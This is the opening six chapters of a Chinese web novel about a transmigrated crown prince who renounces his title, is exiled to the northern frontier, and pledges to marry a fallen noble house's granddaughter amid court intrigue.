《大乾皇太子,老子不干了!》 第1章 这太子,谁愿意做谁做! “为什么停了修建万寿宫的钱?” “你可知道这一月来各地送到京城的折子都写了什么?” “江南水灾!” “青州蝗灾!冀州旱灾!” “还有朔方的鞑靼边患!” “睁开你那双狗眼看看!朕让你监国,你就是这么监国的?” “户部的钱呢?” 含元殿内,百官在乾帝怒斥之下,低着脑袋不敢言语,但神色间多是幸灾乐祸。 而身为太子的李钰,则是在这不断响起的斥责声中,神色漠然的站在那里。 前身的记忆消化的差不多了。 上一世从实验室到工作,做了几十年牛马,到死都在被人针对下任务。 结果这才刚刚穿越成太子,一天福没享不说,劈头盖脸就是一通责骂。 这老登骂之前就不想想为什么会变成这样吗? 两年前,乾帝突然开始玄修闭关。 甚至有些时候,一闭关就是半年时间! 半年间不上朝,朝堂能够运转,全凭自己这太子! 可无论李钰做的如何好,在这乾帝眼中都是无能的表现。 不下雨,是他这个太子不修德行,上天警示所致! 天降甘霖,是他这个皇帝修道心诚,感动上天才降下甘霖! 反正好事儿都是他乾帝的,坏事儿都是他这个太子的。 分的那是明明白白! 就拿今天这事儿,自己不过是没钱暂时停了修建万寿宫的银子。 这老登关也不闭了,出来就劈头盖脸的找由头说自己。 户部缺钱,他居然问自己为什么? 这鸟气他可不受! “父皇,户部没钱了!” 不等乾帝继续说话,李钰就语气生硬的顶了一句。 “没钱?钱呢?” “朕的钱呢?” 听到李钰说没钱,乾帝立马质问道,脸上也满是怒气。 然而,李钰这一次却没有往常那般,因为乾帝的怒火而害怕畏缩。 而是直面乾帝。 “父皇,我大乾户部一年税收不过七千万两白银!” “您修建万寿宫一项,就耗费了白银两千万两!” “除此之外,朝廷一年固定的开支就有四千万两!” “而您玄修所耗,以及宫中用度,零零总总下来也有一千万两!” “这还不算边关所用,通运河,修长城!” “户部如今已经是卯吃寅粮了!” “还请父皇明示,这户部的钱,儿臣应该如何分?” 话音落下,含元殿内一片寂静。 原本幸灾乐祸的大臣们,此刻一脸错愕的看着反问乾帝的李钰。 太子这是吃什么了?今天居然敢反驳陛下了? 此刻乾帝也没有想到,这向来唯唯诺诺的儿子,居然敢这么和自己说话。 待回过神来之后,乾帝气急。 “好好好,和朕算账是吧?你监国期间,户部没钱你不想办法,却来问朕?” “那朕要你这个监国太子干什么?” “万寿宫是什么?那是我大乾建国以来,无论在形制还是规模上都前无古人后无来者的存在!” “是万邦来朝,昭示我大乾国力!” “你这样做,让朕如何给列祖列宗交代?” “朕原本对你寄予厚望,将监国和这等大事儿交于你手中,可你看看自己现在的样子,哪里有半点太子的担当?” “哪里有半分储君的气度?” “朝堂让你搅和成这个样子,你可曾有一次想过,江南冀州青州三地为何遭灾吗?” “就是因为你监国不力!天降惩戒!” 听到这话的李钰,直接就怒了。 这都什么时候了,还想着PUA自己?真把自己当牛马使了? 还有这大锅,你看清楚了吗就往头上扣? 只见那李钰直接起身,目光直视乾帝。 “父皇!什么叫监国不力,天降惩戒?” “什么叫没有太子担当,没有储君气度?” “您眼里,当过我是个太子吗?” “这些年监国,我就算是变成个铸钱炉也禁不住您这么糟蹋国库吧?” “修建个宫殿就能给列祖列宗交代了?” “你就算是将万寿宫修成千古第一奇宫,那史书之上还能不写你一意玄修,不理朝政?” “户部一年就那么多钱,您倒是好,上下嘴唇一碰,这一笔那一笔的,想一出是一出的花钱!” “就这,我还得想办法匀出来好几百万两给你炼丹用!” “现在您知道问了,当时做甩手掌柜的时候,您怎么不问?” 乾帝错愕的看着反驳自己的李钰,抬手指着李钰颤颤巍巍,一时间居然被气的说不出话来。 “你!你!” 眼见此情此景,那殿内陡然间想起一道声音。 “父皇息怒,朝政艰难,太子也是被逼无奈。” “身为皇子,儿臣愿为父皇分忧,贡献银两,先把万寿宫修建起来。” “至于灾民和边关战事,若是实在缺钱,儿臣便是将王府卖了,也给太子凑上这笔钱来。” 话音落下,众人齐刷刷的朝着说话之人看去。 只见说话的人身着黑色五爪亲王服,正是朝中六皇子,秦王李泰。 李钰见状,心中冷笑不已。 终于是忍不住了! 自从他这个太子生母皇后去世之后,秦王李泰的母妃,吴贵妃就深受乾帝喜爱。 连带着这些年在朝堂上,秦王的地位也是水涨船高。 年纪轻轻就进封秦王! 在大乾诸多亲王封号之中,秦王最为特殊。 秦王乃大乾开国太祖皇帝的封号,大乾立国至今,能够用这个亲王号的,那后来都是皇帝! 甚至有些时候比太子这个名号都权威! 自己监国的时候,这秦王就处处使绊,现在有跳出来说话。 看似为自己解释,实则是落井下石,顺带表现自己一波。 果不其然,听闻李泰的表忠心后,乾帝顿时老怀大慰。 “看看!这才是朕的儿子!” “有担当,有能力!” “知道替朕分忧,为朝廷解困!” 说罢,乾帝看向李钰,冷冷道:“再看看你!只知道诉苦和说朕的问题,何曾想过自己有没有问题?” “你堂堂太子,哪里有半分像泰儿这个样子?” 听到这话,李钰不由的冷笑起来。 “父皇是觉得儿臣不顺眼?觉得秦王合心意?” 说着,在众人目瞪口呆的注视下,将自己腰间玉带解开,把身上太子才能穿的五爪龙袍脱了下来,狠狠丢在地上。 “这太子之位谁愿意做谁做,儿臣不伺候了!” “您若是不解气,大可一刀砍了儿臣!” “也好给列祖列宗,给天下万民一个交代!” “更好给您的宝贝儿子秦王腾位置!” 第2章 让逆子自己选! 众人原本以为今天太子反驳陛下就已经足够骇人了。 不成想还有高能画面! 李钰居然当着乾帝的面,脱了象征太子身份的五爪龙袍,撂挑子不干这个太子了? 大乾立国以来……不!是历朝历代以来! 还从来没有出现过这种情况! 某种程度上来说,李钰今日所作所为也算得上是前无古人后无来者了。 在众人惊愕的目光中。 那秦王李泰短暂愣神之后,便突然‘噗通’一声跪倒在地上。 跪着来到李钰身边,一把将李钰的大腿抱住。 “大哥!你可千万别做傻事!” “六弟我绝对没有将你取而代之的心思!我真的只是想要为你和父皇分忧啊!” 乾帝此刻看着李钰,也是万万没想到李钰今天敢说出这种话来。 自觉被李钰羞辱了皇帝威仪的乾帝,在回过神来之后,脸色阴沉的能滴出水来。 秦王李泰此刻一边哭一边悄悄观察乾帝的模样,见状更是起了劲。 抱着李钰的大腿就开始哭诉起来。 “大哥!快些和父皇认错!” “父子哪里来的隔夜仇?只要你认错,父皇便能原谅你!” “若是、若是因为我的缘故,让父皇和大哥生出间隙,那我可真就是万死难咎其责啊!” “你倒是死一个看啊!光说不做。” 看着这一幕,李钰则是心中默默吐槽了一句。 而此刻百官也是跪在地上,纷纷给李钰求情。 无论是秦王李泰,还是百官,这一跪却是将李钰这个太子架在了原地。 话中句句不说李钰有罪,但句句不离大不敬之罪。 分明是在提醒乾帝! 现在就算是自己还想做这个太子,那也是做不了了! 看着抱着自己腿在那极力挽留自己的秦王李泰,一副绿茶模样,李钰也是被气笑了。 “我说六弟,你演这么起劲,就不怕玩儿脱了,我真的认错,父皇免了我的罪责?” “这太子之位你不还得等机会?” 冷冷的凑在李泰耳边说了一句。 那李泰豁然抬头看向李钰,却见李钰一副似笑非笑的讥讽模样。 李泰心中瞬间警觉起来。 向来老实本分的太子,怎么今天说话是这个样子? 就在李泰心中惊疑不定的时候。 一双手突然将李泰搀扶起来。 “泰儿!给朕起来!” “你这个狂悖不堪,目无君父的大哥,不值得你跪!” 说完,便直视近在咫尺的李钰。 乾帝的目光中尽是冷意! “你个目无君父,无法无天的混账东西!” “连你弟弟都不如!” “朕今日就成全你!” “给朕拟旨,即日起罢黜李钰太子之位,降为幽王,戍边宣化!” “陛下不可啊!” “父皇!息怒啊!” 众多臣子骇然不已。 罢黜太子乃是大事儿,朝堂必定受到影响。 而宣化之地,位于大乾北境,是大乾抵抗鞑靼以及草原各部的桥头堡,常年战乱,气候也恶劣的很,乃是九死一生的险地! 不要说把太子放在这地方了,就算是皇子都不太合适! 乾帝此刻也不理会周围人的劝诫,只是一味看着李钰。 想要从李钰脸上看出几分慌乱,也只有如此,他才能心中好受一些。 然而,李钰还是丝毫不给脸面的笑了笑。 甚至还朝着乾帝行了一礼。 “儿臣谢过父皇成全。” 原以为李钰会痛哭流涕的跪在自己面前认错,谁曾想居然这么一副模样。 一股浓浓的挫败感随之而来,接着便是乾帝破防后歇斯底里的吼叫声。 “滚!给朕现在就滚!” “逆子!你会后悔的!” “滚!” 李钰冷笑一声。 “父皇,儿臣所学,并无后悔二字。” 说完,便一甩袖袍,踩着那地上的太子龙袍离开了大殿。 独留下殿内乾帝的嘶吼声,以及百官的劝诫声。 而痛哭劝说乾帝的秦王李泰,眼角余光瞥见李钰的背影消失在殿外,眼中也闪过一抹喜色。 他等这一刻太久了! 没了李钰霸占太子之位,这朝中又有谁是自己的对手? 而好不容易发泄了一通的乾帝,此刻喘着粗气,目光狠狠的盯着殿外。 厉声道。 “传朕口谕,幽王离京,若有送别者,以同党犯上论处!” 听到这话,不少官员都愣了一下。 按照礼制,李钰即便不是太子,但这幽王也算是亲王,离京戍边要有官员相送才行。 但现在乾帝还在气头上,直接给相送一事定了罪名,这谁还敢去? 礼制再大,还能大得过皇帝的旨意? 就在乾帝气头上的时候,礼部尚书刘玄礼从诸多大臣中站了出来。 “陛下,大皇子现封幽王,又要前往宣化戍边,那先前所定太子妃一事,该如何处置?” 杜玄礼所说的太子妃其实早就选定,乃是大乾三朝元老,已故成国公苏荀的孙女,苏庭雪。 成国公府满门忠烈。 苏庭雪之父苏万彻十年前为国戍边,战死沙场。 苏庭雪之兄苏庭玉乃是京城赫赫有名的青年才俊,五年前也战死边关。 至于苏庭雪的爷爷,也就是已故成国公苏荀,乃是三朝元老,先帝帝师! 乾帝即位之初,朝堂不稳。 鞑靼联合草原各部打算南下。 为解大乾北境之危,白发人送黑发人的成国公苏荀,不顾自己八十高龄,北上坐镇边境,最终挫败鞑靼的阴谋,保全了大乾北境安宁。 但也因为心力憔悴过甚,不等回到京城就在途中亡故。 成国公苏荀丧子丧孙,阖府上下只留下发妻陈氏以及孙女苏庭雪两位女眷。 为了给成国公府一个交代,乾帝便将成国公之女,陈庭雪指定为太子妃,也算是给了成国公一个交代。 但明眼人知道,成国公苏洵一死,没有男丁的成国公府,衰落就在眼前。 而李钰这个太子也是处处被人掣肘,两家联合并没有什么好处。 甚至这成国公府还会成为太子李钰的累赘。 但外人不知道这些,他们只当乾帝体恤老臣。 名乾帝拿了,累赘却丢给了李钰。 现如今太子妃成婚的旨意早就发出,但李钰却没有了太子之位,事情确实是有些难办。 “这成国公的孙女……” 秦王李泰见乾帝眉头紧锁,似有疑虑,心中不免有些担心乾帝再给李钰安排其他的婚事,把这拖死李钰的累赘甩了。 连忙朝着百官递了个眼色。 只见秦王李泰的亲信,御史台御史张万道站了出来。 “陛下,臣以为此事不可更改,虽说赐婚是太子妃,但如今我朝已无太子,太子妃更是无从说起。” “幽王贵为大皇子,赐婚为王妃也不算贬低成国公府一脉。” “如此,也不损您仁义之名。” “若是朝令夕改,岂不是要天下耻笑朝廷?” 乾帝听闻此言,也是点了点头,觉得颇有道理。 但礼部尚书刘玄礼却有些犹豫。 “陛下,幽王要离京戍边,按照规制家眷要留在京城。” “这两人刚刚成婚,就要天各一方,怕是有些不太妥当,难免会被人非议,说陛下不近人情。” “还请陛下三思。” 此话一出,乾帝眉头一皱。 “这也不行那也不行!那你们说如何是好?让朕取消婚约,做个无信之君?” 见乾帝恼怒,秦王李泰眼睛转了转,开口道:“父皇,此事不如还是交给大哥自己决断。” “娶,父皇有成人之美的美名。” “不娶,那是大哥自己所选,和父皇无关。” “成国公府就算是有怨言也不会怨到父皇身上来。” 听了李泰的办法,乾帝眼神一亮。 “此法可行!就按照这个办法来!” “让那个逆子自己来选!” 第3章 我是来退婚的! 散朝之后,刘玄礼便马不停蹄的来到成国公府。 如今成国公府势微,但在朝中也并非是什么人都不来往。 刘玄礼当年就是先成国公一手提拔到京城的,后来为了避嫌这才断了联系。 虽然说这两年刘玄礼也没怎么和成国公府联系,但到底还是有一份情谊在。 事关成国公府未来,刘玄礼于公于私都觉得自己应该先把赐婚一事告诉成国公府一声。 成国公府。 苏家老祖宗陈氏正在堂内坐着。 先是丧子丧媳,后又丧孙。 前些年成国公府最后的支柱,自己的丈夫成国公苏荀也病死归京途中。 偌大的成国公府还是要靠着她这老妇人撑着。 这天难得清静,陈氏正在和孙女苏庭雪品茶闲聊,下人突然走了进来。 “老祖宗,礼部刘大人来了。” 闻言,苏庭雪有几分冷意。 “他来做什么?” 对于朝廷赐婚这事儿,苏庭雪其实是相当抗拒的。 在她看来,成国公府纵然是衰败,也不需要他人施舍。 但陈氏考虑的就比较多了,稍一思索便下令道:“先请进来吧。” 不过一会儿,刘玄礼便疾步走了进来。 还不等陈氏询问,便先一步开口道:“陈老夫人,出事儿了!” “今日早朝,太子顶撞陛下,被陛下褫夺太子之位,降为幽王,发配宣化戍边去了!” “什么?” 陈氏脸色微变,腾的一声站起身来,神情间尽是不可思议。 太子怎么能干这么蠢的事儿? 倒是苏庭雪表现淡定,只是绣眉轻挑。 “那我同太子的婚约呢?” 刘玄礼看了一眼苏庭雪,无奈道:“这事儿坏就坏在这里,陛下听信秦王等人之言,要幽王自己选择,本官猜测,这殿下大概是会退婚了。” “砰!” 陈氏猛地一拍桌子,纵然是年老了些,但国公府夫人的气势还在,一双凤眸包含怒气。 “当我成国公府是什么了?” “想用就用,想不用就丢掉?” 成国公府为国为君,满门忠烈,到头来变成这个样子,被人弃之如敝履,便是泥人也有三分火性! 刘玄礼见状,也是一阵头疼。 那苏庭雪此刻则是搀扶着陈氏坐下,宽慰道:“祖母不必如此生气,这婚事咱们也不必等殿下自己决断,雪儿自去向殿下呈明,退婚就是了。” 陈氏看着苏庭雪,眼中满是心疼。 “罢了,权当没有过这门婚事。” “咱们苏家也不是攀附权贵之家,没了这婚事,咱们也落个清净。” …… 京城城东,王府。 此处是李钰做太子之前,还是亲王的时候就置办的王府。 先前心烦意乱的时候,就会出来小住几日。 如今自己已经不是太子了,自然也没有回到东宫的道理。 前堂内。 宫中宣旨的太监正一脸小人得志的样子,宣读乾帝的旨意。 “殿下,东宫既然已经腾退出来,那老奴就不再多说了,陛下的意思是,宣化本就有边军在,此番您去戍边,就不必从京城抽调兵马了,只带自己的护卫便可。” “按照礼制,殿下已经不是太子身份,这护卫自然也要减少,最多不超三十人。” 边关危险,身为外来之人,一般都是要从京城抽调兵马前去的。 一是能够作为心腹保证自己的安全,二是让边关的边军忌惮一二,不敢胡作非为。 毕竟苦寒之地,什么样的事儿都能发生。 眼下乾帝不让自己抽调兵马也就算了,连自己的护卫都不能超三十人,摆明是在为难自己。 谁家好人,让亲王按照最低的护卫人数来? 站在一旁随行宣旨的礼部员外郎王珣,则是目光死死盯着李钰。 想要看看这李钰听到旨意之后是什么反应。 他是秦王李泰的人,早些年还是礼部侍郎,但因为做事被李钰抓住把柄,降为礼部员外郎。 从正二品大员一路降到五品官,他自然对李钰是怀恨在心。 今天来也是想要羞辱李钰一番。 只是看着李钰站在那里不为所动,王珣心中便有些不甘起来。 “都说完了?” 李钰淡淡询问了一句。 王珣看了一眼李钰,回道:“还有一件事儿,便是殿下的婚事。” “虽然说这陛下赐婚的时候,殿下还是太子,但如今身份有别,婚事还在。” “陛下恩典,殿下和成国公府的婚事成与否,交由殿下自己决断。” 听到这话,李钰冷笑一声。 “父皇这三不沾的手段,玩儿的越发炉火纯青了。” 王珣眉头一皱。 “殿下这犯上之言还是少说的好,别离京之前,再惹出什么祸端来。” 回头似笑非笑的看了一眼王珣。 “怎么?王大人和你背后的主子,不应该巴不得本王惹出祸端来吗?” 被李钰点破,王珣面上有些尴尬。 “话我等已经传到,殿下如何决断,自己上书告知陛下便可,告辞。” 没看到自己想看的,王珣也不想过多逗留,说完之后,便直接转身离开。 只是才刚刚走出王府大门,王珣便迎面撞上了苏庭雪。 她怎么来了? 而此刻王府周围也有不少人在等着看热闹。 都是京城达官显贵,李钰顶撞皇上,被夺了太子之位的消息传播的极快,现在围在王府外的,大部分都是看热闹的。 见苏庭雪出现在王府外,自然也是议论不少。 “太子失势,这苏庭雪出现在这里,难道是想要庇护太子?” “话是这么说,成国公还活着的话能庇护一二,现在成国公府自身难保,还敢淌这趟浑水?” “成国公府现在就是个拖油瓶,来此怕不是担心幽王退婚,我可听说了,陛下让幽王自行决断赐婚一事,这成国公府帮不上什么忙,以幽王现在的处境,怎么不得趁着这机会把成国公府换了?” “可惜这苏庭雪,美人一个,终究难敌权势啊……” 这声音自然是被苏庭雪一字不漏的听了去,俏脸含霜,对着王府门口的侍卫道:“去让李钰出来!” 侍卫见状,心知大事不妙,急忙点头转身进了府邸。 而一旁走出来的王珣见状,眼睛转了转,便主动凑了过去。 “苏姑娘,您这今日登门,是担心幽王殿下退婚吧?” “想想也是,幽王得罪了陛下,日后想要在这朝堂上好过,大抵是要找一家能够在朝堂上说的上话的才行。” “你成国公府日渐式微,纵然幽王失了势,但毕竟是皇子,还能庇护你成国公一二。” “只是可惜,你成国公府于幽王无用,幽王殿下大概是要退婚另择良家了。” 苏庭雪听到这一番话,本就遍布寒霜的俏脸,又冷了几分。 “我成国公府不需要什么权贵庇护!” “我今日来是退婚的!” 第4章 本王娶定你了! 王府外。 苏庭雪话说的斩钉截铁。 一张俏脸上更是布满了寒霜。 但这一幕,在王珣看来,却是心中欢喜的很。 他原本用语言刺激苏庭雪,就是要让这婚事毁了。 再不济也能让李钰大庭广众之下丢脸。 堂堂皇子婚事被毁,李钰的脸都得丢干净! 不仅如此,还能因为皇家受到波及,而被乾帝记恨,可以说是一举多得。 只是他万万没想到,这苏庭雪居然如此刚烈,自己就先提出来了要退婚。 这已经不是在打李钰的脸了,简直是在打皇上的脸! 这一下,怕不是连整个成国公府都要受牵连! 想想乾帝那暴怒的样子,再想想苏家的下场,王珣如果不是因为地方不合适,怕不是要笑出声来了! “苏姑娘还是三思的好,幽王虽然只是亲王,但到底还是皇子身份,有他在你苏家也能好过一些。” “毕竟,以色侍人这事儿有些时候他不是坏事儿,能保住你苏家富贵,何乐而不为呢?” 王珣这话看似在劝诫,实则更多是嘲讽。 什么就以色侍人了? 看着周围人嘲讽的样子,苏庭雪脸色也难看了几分。 “你敢辱我苏家?” 王珣冷笑一声。 “话可不能乱说,本官也是好心劝诫,苏姑娘不能因为本官说话直了一些,就随意污蔑朝廷命官。” “小心陛下怪罪,你苏家也吃不消不是?” …… 周围一片寂静。 没有一人站出来为苏庭雪说话。 王珣更是嘴角噙着笑容,满脸讥讽之色。 而苏庭雪,此刻抿着嘴,一张俏脸上满是委屈,牙关紧咬一言不发。 自从爹娘和爷爷去世之后,她便是日后成国公府的顶梁柱。 无论如何都不能让人轻看了。 就在此时,王府内却是传来一道冰冷至极的声音。 “王大人,你在本王府门外聒噪不止,是真以为本王不敢把你怎么着是吧?” 话音落下,王珣便施施然回头看向府门。 但还没有来得及说话,便察觉到一股劲风扑面而来。 定睛凝神看去,只见一块巴掌大小的石砖,径直朝着自己面门飞了过来。 不等他反应过来,便觉得额头和鼻梁一痛。 惨叫声也随之响起。 “啊!” 随后整个人都朝后倒去。 “李钰!你……放肆!” 李钰从府门内走出来。 身后则是紧跟着几名王府护卫。 “还敢直呼本王名讳,你堂堂礼部官员,连礼制都不管了?” “给本王打!让他长长记性!” 随着李钰轻飘飘一句话说出口,那身后的护卫手持木棍,就朝着王珣冲了上去。 “幽王!你……” 那王珣话还没有说出口,就被一棍子抽在了腹部,只见王珣立马如同那煮熟的虾一样,弓着身子,满脸通红的倒在地上。 接着便是雨点般的棍子落下。 那棍子挥舞的劲风声,以及混杂着王珣的惨叫声。 仅仅片刻,现场就变得惨不忍睹起来。 看着李钰当街殴打朝廷命官,围观的人也是看的心有余悸。 这是多大仇,居然下手如此之狠! 当护卫手中木棍被抽断的时候,众人这才惊觉,时间已经过去一炷香的功夫了。 看着人群外正往里面挤的官差,李钰这才挥了挥手,示意护卫停手。 “好了,停下来吧。” 护卫倒是令行禁止,一听李钰这么说,立马跳到了一旁。 此时王珣的脸已经肿成了猪头,身上官袍更是破烂不堪,没有丝毫得体的样子。 “抬起头来!” 呵斥一声,那王珣下意识的抬头看向李钰。 只见李钰端详片刻,突然抬手朝着王珣的鼻子打了一拳。 那王珣惨叫一声,鼻子飚血,身形倒地。 李钰见状也不着急,反倒是满意的朝着刚刚挤进来的官差点头道:“不错,这就正常了,鼻子歪着太影响观感了。” 那为首的官差看着早已不成人形的王珣,再看看李钰,心中满是无奈。 一个皇子,一位朝廷命官,这事儿不好办啊。 而王珣倒是觉得官差到场,底气不由得足了几分。 随后看着李钰怒声道:“你无故殴打朝廷命官,不怕陛下责罚吗?” “本官、本官要弹劾你!” 听到这话的李钰冷笑一声。 “东华门左拐出门就是,你要是不服气,本王让人你给敲登闻鼓!” “你尽管去告!” “直呼本王名讳,还肆意羞辱本王的未婚妻,是谁给你胆量这么做的?” “本王倒是要看看,咱们到了御前谁有理!” 李钰此刻丝毫不惧。 先不说这事儿他本身就占着道理,其次他马上就要离开京城,去宣化这个边镇了。 现在他就是光脚不怕穿鞋的。 在京城他现在看谁不顺眼都能揍,还害怕他王珣告御状? “你……!” 眼见李钰这混不吝的样子,王珣眼前一黑,居然硬生生被气的昏死过去。 “晦气!” 朝着昏死过去的王珣啐了一口,李钰便朝着赶来的官差说道:“本王府外不能堆垃圾,拖走!” 那官差见李钰这副架势,也不敢招惹,忙不迭点了点头,挥手示意手下将王珣架起来离开。 而李钰全程都没有正眼瞧对方。 见王珣被拖走,李钰这才看向苏庭雪。 只是一眼,李钰就有一种惊为天人的感觉。 这是老子的便宜媳妇? 原以为是谁都不想要的丑女,没成想居然这么漂亮! 这么漂亮的老婆,居然还考虑要还不是不要的问题,这有什么好考虑的? 这老婆谁都别想从自己手中抢走! 而此刻苏庭雪也看着李钰。 刚刚李钰那一声未婚妻让她有些不知所措。 原以为李钰是想要退婚的,她不想让苏家受辱,让世人以为成国公府为了荣华富贵,要自己攀附权贵,苟延残喘的活下去。 所以她今天才来了这里当众说出退婚的话来。 却没想到,李钰居然还肯称呼自己未婚妻。 这是让她始料未及的。 就在苏庭雪愣神的时候,那李钰不知道什么时候已经走到了他的面前。 在众人注视,苏庭雪愣神的空挡。 李钰伸出手来将苏庭雪鬓角长发拢了拢,满脸柔情的看向苏庭雪。 “本王没说退婚,谁说都没用。” “本王娶定你苏婷雪了!” 第5章 和未婚妻的约定 “这是真要娶啊?” 人群中爆出一片惊呼。 所有人都像看傻子一样看着幽王李钰。 “这幽王定下婚事,日后怕是难以在和其他势力联合了,毕竟有些实力的,谁愿意让自己的女儿来当妾室?” “幽王这怕不是糊涂了,自断后路啊。” 此时的苏庭雪也是一脸迟疑,原本心中的怒气也减轻了不少。 她哪里知道,自己来到这里退婚,结果听到的却是这样一番话。 “殿下,您不必为了可怜苏家,而将自己陷入麻烦。” “这婚事没人能强迫你,包括我苏家。” 闻言,李钰面带笑容,神色坦然的看向苏庭雪。 “这话你只说对了一半,是没人能强迫本王的婚事,但要说可怜你苏家,这话可就不对了。” “本王没有可怜任何人。” “这世上不是所有人都要权衡利弊,攀龙附凤才能活下去。” “本王这一辈子,只求活的潇洒和问心无愧。” “所以,娶你从来没有可怜一说。” “娶你,只是因为本王看上你了,哪怕你是一贫如洗,那你也是本王的女人。” 看了一眼牙关紧咬的苏庭雪,李钰上前一步。 那苏庭雪见状,猛地回过神来,但又因为李钰靠得太近,一股男人才有的气息扑面而来。 这让苏庭雪俏脸瞬间变得通红起来。 就在苏庭雪好奇李钰要干什么的时候,却见那李钰大庭广众之下,伸出手来将苏庭雪的柔夷缓缓拿起。 有道是男女授受不亲。 李钰这当着这么多人的面,突然抓住自己的手,纵然他们有婚约在身,也是会遭到外人非议的。 下意识的,苏庭雪便打算将自己的手抽回去。 但刚有动作,却发现李钰将自己的手抓的极紧,根本无法抽回来。 “别动。” 听到李钰这么说,苏庭雪下意识的停下了动作。 随后便看到李钰居然从两人头上捋下几丝长发,稍稍一捻便形成一根乌黑的细绳。 将其慢慢缠绕在了苏庭雪那洁白的手腕之上。 “这是?” “此乃本王和你的约定,本王这发丝缠腕,便相当于在你这里做了个记号。” “日后无论发生何事,你苏庭雪都是本王的结发之妻。” “这世上没有任何人能将你我拆开,哪怕是你苏庭雪自己也不行。” 苏庭雪什么时候听过有男子和自己说这种话。 俏脸羞红的瞬间,心跳也不由得开始加快。 “话虽如此,但苏家于你来说,终究还是个拖累。” 李钰轻笑一声。 “世人皆以利弊衡量得失,但我李钰却不是。” “什么攀龙附凤,依附豪门,咱们不做这种掉价的事儿,要做就做被人依附的存在。” “哼,大话谁不会说?那也得先做到再说。” 苏庭雪琼鼻微皱,嘴上虽然这么说,但心中却是另外一番感觉。 她和李钰只是第一次见面。 却不曾想这里李钰和传闻中的压根不一样。 无论为人做事,都颇为有趣。 或许……这桩婚事也不是什么坏事儿。 而周遭众人看着李钰三言两语就拿下了这京城有名的才女。 也是忍不住感慨起来。 “结发赠礼,这幽王有点东西啊!” “啧啧,此情此景,这苏家可是彻底和幽王绑住了,今日之事传开,怕是会掀起不少波澜。” 众人还在权衡利弊,但李钰却是低着脑袋看着苏庭雪。 “你不相信?” 苏庭雪抿了抿嘴。 “自我爹和爷爷先后去世之后,苏家的势力已经分崩离析了,尤其是苏家的底气虎贲营,朝廷更是不会将其交给你的。” 苏庭雪躲开李钰的目光,冷着小脸提醒了李钰一句。 苏家虽然在朝中和文臣关系不错,但到底是军功起家的勋贵出身,男丁断绝之前,成国公府在朝中有超然的地位,全都是因为苏家手中的虎贲营。 这是大乾立国以来就掌握在苏家手中的军中精锐。 李钰一个废太子,朝廷无论如何都不会将其交给李钰的。 而没有了虎贲营,苏家崛起更是无从谈起。 “那如果本王能够将虎贲营拿到手呢?你可愿意随本王一同前往北境宣化?” 李钰笑眯眯的看着苏庭雪,神情间满是自信。 “苏家女不外嫁。” 苏庭雪声音带着几分清冷。 苏家已然没有了男丁,若是自己也走了,那祖母可就麻烦了。 “不过……” 苏庭雪话锋一转,“若是你能够将虎贲营拿到手,就可以。” “此话当真?” “当真!” …… 秦王府,后院。 鼻青脸肿的王珣正在哭诉自己在幽王府被打的事。 “他居然敢当街打你?” 李泰脸上满是不敢置信。 这还是自己那个极重规矩的大哥吗? 却见王珣一抹眼泪,带着哭腔道:“殿下,此事千真万确!” “他明知道下官是您的人,下手还如此狠辣,这哪里是在打下官的脸,这是在打您的脸啊!” “他还说要上奏状告下官污蔑他的事儿,您可要为下官做主啊!” 然而,李泰这时候却并未接这一茬。 而是满脸惊讶的看着王珣问道:“这么说,李钰他答应了和苏家的婚事了?” 王珣愣了愣,随后点头。 “答应了,大庭广众之下,不止下官一人听到。” 得到了确切的回复,李泰脸色一喜。 这消息对他来说可算是个天大的好消息。 他原本担心李钰会舍弃苏家的婚事,转而寻找其他有些势力的大臣联合。 这样必定会给自己造成不小的麻烦。 但现在娶了苏家女,他就什么机会都没了。 现如今,整个京城谁不知道苏家女要求不外嫁。 再加上苏家手中的虎贲营,自己只需稍加煽风点火,这虎贲营便会从苏家手中彻底剥离出来。 如此一来,不仅仅能够让父皇对李钰的厌恶加深,还能彻底断了苏家崛起的可能。 这次他要让自己你这个大哥永无翻身之日! 想到这里马李泰便看向王珣。 “王大人,你这打不会白白挨的,本王自会为你做主。” “明日早朝,你就上奏陛下,说那幽王当街殴打朝廷命官,本王自会吩咐其他人为你发声。” “本王保证,陛下定会对他降下责罚!” 王珣并没有怀疑李泰的话。 在他看来,如今李钰已经失了太子之位,朝中诸多皇子之中,唯有受宠的李泰才能够接任太子。 以陛下对李泰的宠爱,李泰成为太子只是时间问题罢了。 既然李泰说陛下会对李钰降下惩罚,他自然是不疑有他。 “下官明白了。” “下官这就回去准备弹劾幽王的奏折!” 见王珣躬身退下,李泰便朝着身侧招了招手。 下一秒侍立在李泰身侧的护卫便上前一步。 “殿下。” 只见李泰眼中寒光微闪。 “吩咐下去,让咱们的人明日都配合着点王珣。” “务必要让我那大哥再无翻身的可能。” 第6章 严惩 翌日,乾元殿。 坐在皇位上的乾帝看着往日早朝,李钰应该站着的地方,此刻空缺出来。 让整个大殿都稍显空旷。 回想起先前李钰顶撞自己的场景,乾帝脸色又不由得难看了几分。 冷哼一声。 那身边的太监便心领神会,上前一步,轻挥浮尘。 “有事早奏,无事退朝!” 话音刚落,那王珣便一步跨出。 双手高举奏折。 “陛下,臣有本奏!” “何事?” 此时的王珣还低着脑袋,乾帝并看不清楚王珣的模样。 只见你王珣躬身道:“陛下,微臣要弹劾幽王李钰,目无王法,当街殴打朝廷命官之罪!” 听到是和李钰有关系,乾帝脸色用肉眼可见变得阴沉起来。 “这混账怎么敢?他打谁了?” 王珣也在此时抬起头来,露出自己那张脸来,鼻青脸肿的样子,便是乾帝看了都愣了愣。 “王爱卿,你这是?” 乾帝这一声询问刚刚出口,王珣便满脸悲怆道:“陛下!你要为臣做主啊!” “昨日臣去幽王府传旨,那幽王殿下心中怨恨,竟然纵容王府护卫,当街殴打下官!” “微臣今日拖着伤势来上早朝,就是想要陛下为臣主持公道啊!” 此时的王珣要多惨有多惨,只是简简单单几句话便将所有过错都推到了李钰的身上。 而乾帝的脸色,也肉眼可见阴沉下来。 “这混账东西!朕知晓他心有怨恨,却不曾想此獠居然如此心肠歹毒,居然能干出当街殴打朝廷命官的事儿来!” “看样子,还是朕对他太过宽宥了!” 见乾帝生气,那秦王李泰一系的官员,立马开始见缝插针起来。 “陛下,幽王殴打王大人一事,臣昨日也曾听闻应天府有所上奏,据说当时围观之人众多,身为皇子,幽王代表的可是皇家脸面,此举大为不妥,还请陛下严惩!” 御史台御史张勋率先站了出来。 而应天府府尹杜淳也是站出来接话道:“陛下,昨日微臣接到消息,幽王确实是指使府中护卫当街殴打王大人,此事影响恶劣,但无奈殿下是皇子,臣也无法处置,只能暂时将人群驱散。” 